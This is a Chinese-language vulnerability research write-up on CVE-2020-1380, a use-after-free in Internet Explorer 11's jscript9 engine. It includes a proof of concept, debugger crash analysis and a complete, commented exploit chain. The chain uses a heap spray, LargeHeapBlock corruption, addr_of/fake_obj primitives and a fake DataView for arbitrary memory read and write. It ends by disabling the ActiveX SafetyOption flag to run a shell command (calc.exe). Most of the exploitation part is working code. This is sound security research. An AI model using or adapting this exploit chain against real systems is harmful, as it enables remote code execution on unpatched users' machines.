ie的版本是11.103.10586.0,在https://msdn.itellyou.cn/上下的系统是`Windows 10 (Multiple Editions), Version 1511 (Updated Feb 2016) (x86) - DVD (English) ,对应的windows版本为Version 1511(OS Build 10586.104),该系统安装后的版本即为此次分析的ie浏览器版本,漏洞分析是在x86`系统上进行的。
version
在ie 9之后的jscript9引擎中,为了阻止OOB漏洞的利用,ie把一些重点对象单独拿出来放到一个堆中来进行管理,而不是直使用进程堆。因此在jscript9中,堆数据可以分为两部分:
一部分是进程堆(Process Heap、CRT Heap)。
一部分是自定义堆(Custom Heap),普通的Array对象、typed array(view)对象、string对象都是分配在custom Heap里的。
一个有意思的点是var fa = new Float32Array(8)的代码,typed array对象的数据结构会保存在custom heap当中,然而它的fa.buffer(ArrayBuffer)的数据却是从进程堆中申请出来的。下面是JavascriptArrayBuffer::Create的反汇编代码,可以看到ArrayBuffer的堆分配函数是CRT函数malloc。
struct Js::JavascriptArrayBuffer *__fastcall Js::JavascriptArrayBuffer::Create(
unsigned int a1,
struct Js::DynamicType *a2)
{
...
Js::ArrayBuffer::ArrayBuffer(v5, a1, a2, _malloc);
*(_DWORD *)v5 = &Js::JavascriptArrayBuffer::`vftable';
return v5;
}
还需要知道一点的是当在自定义堆中申请大的对象时,自定义堆的数据管理结构是LargeHeapBlock,该对象构成了ie自定义堆的基础,存储有自定义堆上分配的大型堆空间的管理信息。LargeHeapBlock对象存储在进程堆中的。
LargeHeapBlock的数据结构如下所示,偏移量0x4处的指针指向IE自定义堆中的数据,对于通过创建多个大的Array对象来触发LargeHeapBlock对象分配的情况,该指针直接指向了此时分配的一个Array对象。0x14指向的是Allocated Block Count,即当前已经分配的Block,如果该字段被置为0,则该对象所指向的自定义堆会在垃圾回收的过程中被释放。
LargeHeapBlock_struct
CVE-2020-1380是IE11上jscript9引擎的一个UAF漏洞,其成因是Array.prototype.push的副作用导致JIT引擎数据类型推导错误。
趋势科技给出的poc代码如下:
var ab = new ArrayBuffer(0x8c);
var fa = new Float32Array(ab);
var obj = {};
obj.valueOf = function() {
worker = new Worker('worker.js');
worker.postMessage(ab, [ab]);
worker.terminate();
worker = null;
var start = Date.now();
while (Date.now() - start < 200) {}
return 0
};
function opt(a, b, c, d) {
a = 1;
arguments.push = Array.prototype.push;
arguments.length = 0;
arguments.push(d);
if (c) {
a = 2;
}
b[0] = a;
};
for (var i = 0; i < 0x100000; i++) {
opt(1, fa, 1, 1);
}
opt(1, fa, 0, obj);
先开启页堆hpa,poc跑一遍,看看出啥问题。
"C:\Program Files\Windows Kits\10\Debuggers\x86\gflags.exe" -i iexplore.exe +hpa
崩溃现场如下。ftsp是将浮点寄存器st0中的值存储到对应内存中的意思,崩溃现场即是将0.0存储到地址11d81f70 中。
This exception may be expected and handled.
eax=11d81f70 ebx=1197d480 ecx=00000000 edx=00000116 esi=0de3bad0 edi=1ff61e00
eip=5d046083 esp=07cbc844 ebp=07cbc844 iopl=0 nv up ei pl zr na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010247
jscript9!Js::JavascriptConversion::ToFloat_Helper+0x13:
5d046083 d918 fstp dword ptr [eax] ds:0023:11d81f70=????????
0:008> r st0
st0= 0.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e+0000 (0:0000:0000000000000000)
崩溃的成因是opt函数经过优化编译过后,b[0]=a所对应的代码会认为a一直都是浮点数,不会有side effect,因此直接调用ToFloat_Helper将a转化成浮点数并赋值给b[0]。但是实际上在前面的代码中arguments.push会改变对象arguments[0](即对象a的类型),导致在b[0]=a赋值的时候可以触发回调函数。但是此时代码中缺少了对a的类型的检查,导致漏洞的形成。
在poc中,触发漏洞时对象a的回调函数是调用postMessage将ArrayBuffer传递给worker,postMessage将数据传递给worker的同时,本线程就会失去对当前ArrayBuffer的所属,该ArrayBuffer就会被释放,但是后续在opt函数中b[0]=a,仍然将对象a返回值的0.0赋值给b[0],导致形成UAF漏洞。此处也是因为我们开启了页堆,所以将0.0当写入到已释放的内存ArrayBuffer 0x11d81f70的时候就报错了。
漏洞分析部分本应还包含代码层面的分析的,但是苦于对js9架构机制不太熟,所以只能从原理层面对漏洞成因进行分析,后续有能力再从代码层面进一步分析。
上面的漏洞我们得到了一个UAF漏洞,即在回调函数中我们释放掉了ArrayBuffer数据内存,同时后续在优化编译函数中仍然可以对该内存进行读写操作。
首先要搞清楚的是我们使用什么来占用被释放掉的ArrayBuffer数据内存。在前面的基础知识中已经阐述过,ArrayBuffer数据内存是由进程堆分配的,LargeHeapBlock数据结构也是由进程堆分配的,因此如果我们利用漏洞释放掉ArrayBuffer数据内存后,再利用LargeHeapBlock占用该内存,后续再对ArrayBuffer数据进行读写的时候,实质上就是对LargeHeapBlock数据结构进行读写。
这里要搞清楚的是LargeHeapBlock数据结构大小是多少,很多文章都说该数据结构大小是根据申请的内存大小动态变化的,当申请new Array((0x1000 - 0x20) / 4)即0x1000大小的Array的时候,LargeHeapBlock对应为new ArrayBuffer(0x8c)所对应的内存,具体可以动态调试下断点来进一步确认,断点如所示:
bp jscript9!LargeHeapBucket::AddLargeHeapBlock+0x92
所对应的代码如下所示,LargeHeapBlock::New的返回值即是LargeHeapBlock堆块。
struct LargeHeapBlock *__thiscall LargeHeapBucket::AddLargeHeapBlock(LargeHeapBucket *this, unsigned int a2)
{
...
lpAddress = PageAllocator::Alloc((PageAllocator *)(v4 + 8), &v13, &v12);
if ( lpAddress )
{
v6 = LargeHeapBlock::New(
(char *)v12,
(((v13 << 12) - a2 - 16) >> 10) + 1,
*((_BYTE *)this + 28) != 0 ? this : 0,
v9,
v10);
此时问题就变成了对LargeHeapBlock数据结构进行读写,对何处进行读写能够继续进一步的利用。答案是覆盖LargeHeapBlock中0x14偏移的Allocated Block Count字段,将它覆盖为0,这样后续如果触发垃圾回收机制,该LargeHeapBlock结构所管理的堆内存会被认为是被释放的,后面就会被继续申请与利用,从而就可以形成重叠堆快。
上述思路所形成的代码如下所示。opt函数中b[5] = a时会触发obj的valueOf函数,该函数首先会释放ab,sleep一段时间等待堆内存被释放,然后堆喷LargeHeapBlock结构去申请大内存重新占有该ab内存,因为valueOf函数会返回0,最终会执行b[5] = 0,此时ab已经被覆盖为LargeHeapBlock结构,因此会将LargeHeapBlock结构的Allocated Block Count修改为0。
var ARRAY_LENGTH = 0x500
var b = new Array(ARRAY_LENGTH);
var c = new Array(ARRAY_LENGTH);
var obj = {};
obj.valueOf = function() {
// free the Float32Array ArrayBuffer
worker = new Worker('worker.js');
worker.postMessage(ab, [ab]);
worker.terminate();
worker = null;
// sleep to wait system free the ArrayBuffer
var start = Date.now();
while (Date.now() - start < 300) {}
// spray LargeHeapBlock structure to occupy the freed ArrayBuffer
for (var i = 0; i < ARRAY_LENGTH; ++i) {
b[i] = new Array((0x1000 - 0x20) / 4);
for (var j = 0; j < b[i].length; ++j)
b[i][j] = 0x666;
}
return 0;
};
function opt(a, b, c, d) {
a = 1;
arguments.push = Array.prototype.push;
arguments.length = 0;
arguments.push(d);
if (c) {
a = 2;
}
// now the Float32Array ArrayBuffer is the same as LargeHeapBlock structure, overwrite b[5] will change the LargeHeapBlock's Allocated Block Count to 0
b[5] = a;
};
后续调用CollectGarbage手动触发垃圾回收,此时会认为被修改的LargeHeapBlock结构所对应数组b中的某个数组内存是被释放了的。此时再申请大内存,系统会再次分配该内存,此时数组b和数组c就有某个数组就会形成重叠堆块,遍历两个数组,找到重叠的对象内存。
// gc to manual free the LargeHeapBlock memory.
CollectGarbage();
var index1 = -1;
var index2 = -1;
// spray malloc LargeHeapBlock heap again, it will occupy the same memory with b array
for (var i = 0; i < ARRAY_LENGTH; ++i) {
c[i] = new Array((0x1000 - 0x20) / 4);
for (var j = 0; j < c[i].length; ++j)
c[i][j] = 0x888;
}
// find the overlap heap in array b
for (var i = 0; i < b.length; i += 1) {
if (b[i][0] == 0x888) {
index1 = i;
b[i][0] = 0x666;
break;
}
}
// find the overlap heap in array c
for (var i = 0; i < c.length; i += 1) {
if (c[i][0] == 0x666) {
index2 = i;
break;
}
}
找到重叠的对象后,将其中某个数组修改为对象数组,这样就形成整数数组与对象数组指向同一片内存,很简单的就得到了addr_of以及fake_obj原语:
// transition the array type
c[index2][0] = {};
// now we can get addr_of and fake_obj primitive
var int_arr = b[index1];
var obj_arr = c[index2];
function addr_of(obj) {
obj_arr[0] = obj;
return int_arr[0];
}
function fake_obj(addr) {
int_arr[0] = addr;
return obj_arr[0];
}
有了addr_of以及fake_obj原语,接着就是构造aar以及aaw原语,原语的构造方法是伪造DataView结构体,通过修改DataView的内存指针来实现任意地址读写,详细过程可以参考Edge Type Confusion利用:从type confused到内存读写。
DataView对应的32位结构体如下所示,其中偏移为0x1c的是我们要填写任意地址读写的字段。
DataView:
+0x0 : vtable;
+0x4 : TypeObject;
+0x8 : 0;
+0xc : 0;
+0x10 : JavascriptArrayBuffer;
+0x14 : 0;
+0x18 : size;
+0x1c : Buffer;
还需要关注的三个字段是vtable、TypeObject以及JavascriptArrayBuffer字段。
当我们利用伪造的fake_dv进行任意地址读写的时候,它会调用vtable中的虚函数,由于我们不知道虚函数表的地址,因此需要方法来绕过。方法是不直接用fake_dv.getUint32这样的形式来进行调用,而是用DataView.prototype.getUint32.call(fake_dv, 0, true)的形式来调用,这样就不需要从fake_dv对象的vtable字段来获取函数地址。
第二个要关注的字段是TypeObject指针,它里面的typeId要合理有效,JavascriptLibrary地址要为有效的内存地址。
TypeObject:
+0x0 : typeId;
+0x4 : JavascriptLibrary;
+0x8 : prototype;
+0xc : Js::RecyclableObject::DefaultEntryPoint;
+0x10 : 0;
+0x14 : 0;
+0x18 : SimplePathTypeHandler;
+0x1c : value;
第三个要关注的字段是JavascriptArrayBuffer,它所指向的内存地址某位是用来标记是否是isDetached。如果被置位,说明内存已被释放不能再使用,所以要将该字段置0。
最终构造fake_dv代码如下。
// fake DataView struct container
var container = new Array(
0, // field 0: fake vtable
0, // field 1: TypeObject pointer
0, // field 2: Inherited data from Dynamic Object
0, // field 3: Inherited data from Dynamic Object
0, // field 4: buffer size
0, // field 5: ArrayBuffer Object pointer
0, // field 6: byteoffset
0 // field 7: target addr
)
var container_addr = addr_of(container);
var fake_dv_addr = container_addr + 0x38;
container[0] = 46 // fake vtable, also used as TypeId in TypeObject Pointer
container[1] = fake_dv_addr; // fake TypeObject Pointer point to fake_dv_addr, also as fake TypeObject JavascriptLibrary pointer
container[2] = 0; // the isDetached bit should be 0
container[4] = fake_dv_addr + 8; // fake ArrayBuffer Object pointer, the isDetached bit should be 0
container[6] = 0x300; // fake size
container[7] = fake_dv_addr; // arbitrary pointer
// build fake DataView, now we can aar and aaw with this fake_dv
var fake_dv = fake_obj(fake_dv_addr);
有了fake_dv以后,aar以及aaw就很简单了,修改DataView的Buffer字段即可。
// aar primitive
function read32(addr) {
container[7] = addr;
var val = DataView.prototype.getUint32.call(fake_dv, 0, true);
return val;
}
function read8(addr) {
container[7] = addr;
var val = DataView.prototype.getUint8.call(fake_dv, 0, true);
return val;
}
function read16(addr) {
container[7] = addr;
var val = DataView.prototype.getUint16.call(fake_dv, 0, true);
return val;
}
// aaw primitive
function write8(addr, val) {
container[7] = addr;
DataView.prototype.setUint8.call(fake_dv, 0, val, true);
}
function write32(addr, val) {
container[7] = addr;
DataView.prototype.setUint32.call(fake_dv, 0, val, true);
}
function write_string(addr, s) {
var bytes = [];
var i = 0;
for ( ; i < s.length; ++ i ) {
bytes[i] = s.charCodeAt(i);
}
bytes[i] = 0;
write_bytes( addr, bytes );
}
function write_bytes(addr, bytes) {
for ( var i = 0; i + 3 < bytes.length; i += 4 ) {
var value = (bytes[i] & 0xff) | ((bytes[i+1] & 0xff) << 8) |
((bytes[i + 2] & 0xff) << 16) | ((bytes[i + 3] & 0xff) << 24);
write32( addr + i, value );
}
for ( ; i < bytes.length; ++ i ) {
write8( addr + i, bytes[i] );
}
}
有了任意地址读写原语,最后就是任意代码执行,根据[原创]IE JScript9.dll UAF漏洞(CVE-2020-1380)利用复现笔记,目前ie从aar以及aaw到任意代码执行主要有三种方式:
GodMode:利用任意地址读写原语修改内存中的GodMode字段,即可使用ActiveX调用任意代码与程序。
虚表劫持:劫持Js::JavascriptOperators::HasItem函数内的一处虚表调用为WinExec来调用任意代码。
覆盖栈上返回地址:覆盖Js::JavascriptString::EntrySplit和Js::JavascriptString::EntrySlice函数的返回地址以劫持程序执行流。
我这里只用了第一种方式,因此解释下第一种方式的利用原理,其余两种后续漏洞分析有机会再分析。
在ie中,决定不安全的ActiveX控件能否在没有提示的情况下运行仅仅依赖于单个标志,即ScriptEngine对象中的SafetyOption标志,如果通过任意地址读写将此标志置为0,那么就能开启实例化和运行不安全ActiveX控件的能力。详细原理可以查看Exploit IE Using Scriptable ActiveX Controls.pdf
在Internet Explorer 11中微软通过引入一个0x20字节的hash来保护SafetyOption标志不被覆盖,以此缓解该技术的利用。但是通过查看Windows 10当前jscript9.dll版本中的ScriptEngine::CanCreateObject以及ScriptEngine::CanObjectRun函数发现负责保护hash的ScriptEngine::GetSafetyOptions函数已经不见了,因此SafetyOption标志将不再受到保护,写入单个空字节就能实现利用的技术又可行了。
CanObjectRun
最终执行calc的代码如下所示:
// leak address
// get dataview vtable
var dv_vtable_addr = read32(addr_of(dv))
// get jscript9 module base
var jscript9_base_addr = get_module_base(dv_vtable_addr);
alert("[+] jscript9 base addr: "+hex(jscript9_base_addr));
// get kernel32 module base
var kernel32_base_addr = get_module_base_from_IAT(jscript9_base_addr, "KERNEL32");
alert("[+] kernel32 base addr: "+hex(kernel32_base_addr));
// get winexec addr
// var winexec_addr = get_proc_address( kernel32_base_addr, 'WinExec' );
// alert("[+] winexec func addr: "+hex(winexec_addr));
function run_shellcode() {
var shell = new ActiveXObject("WScript.shell");
shell.Exec("calc.exe");
// shell.Exec("notepad.exe");
}
// change the safe_mode flag
var leak_activex_addr = addr_of(ActiveXObject);
var script_engine = read32(read32(leak_activex_addr + 0x1c) + 0x04);
var safe_mode = script_engine + 0x1F4;
// turn on god mode
write32(safe_mode, 0);
run_shellcode();
弹出计算器。
calc
当然,权限是AppContainer,后面还要过沙箱。
privilege
这个漏洞是2020年抓到的一个在野利用的0 day,通过分析它进一步掌握了ie漏洞的利用方法,同时这个漏洞目前在野外利用还是不少。
64位系统中的利用大同小异,结构体指针字段加长罢了。
[1] 趋势科技: https://www.trendmicro.com/en\_us/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html
[2] Edge Type Confusion利用:从type confused到内存读写: https://www.anquanke.com/post/id/98774
[3] [原创]IE JScript9.dll UAF漏洞(CVE-2020-1380)利用复现笔记: https://bbs.pediy.com/thread-263885.htm
[4] Exploit IE Using Scriptable ActiveX Controls.pdf: https://github.com/jvazquez-r7/explib2/blob/modify/Exploit%20IE%20Using%20Scriptable%20ActiveX%20Controls.pdf
[5] CVE-2020-1380: Analysis of Recently Fixed IE Zero-Day: https://www.trendmicro.com/en\_us/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html
[6] Internet Explorer and Windows zero-day exploits used in Operation PowerFall: https://securelist.com/ie-and-windows-zero-day-operation-powerfall/97976/
[7] CVE-2020-1380: Internet Explorer JScript9 Use-after-Free: https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-1380.html
[8] [原创]IE JScript9.dll UAF漏洞(CVE-2020-1380)利用复现笔记: https://bbs.pediy.com/thread-263885.htm
[9] IE浏览器0day漏洞CVE-2020-1380的分析、利用和检测: https://www.freebuf.com/vuls/283182.html
[10] Edge Type Confusion利用:从type confused到内存读写: https://www.anquanke.com/post/id/98774
[11] Exploit IE Using Scriptable ActiveX Controls.pdf: https://github.com/jvazquez-r7/explib2/blob/modify/Exploit%20IE%20Using%20Scriptable%20ActiveX%20Controls.pdf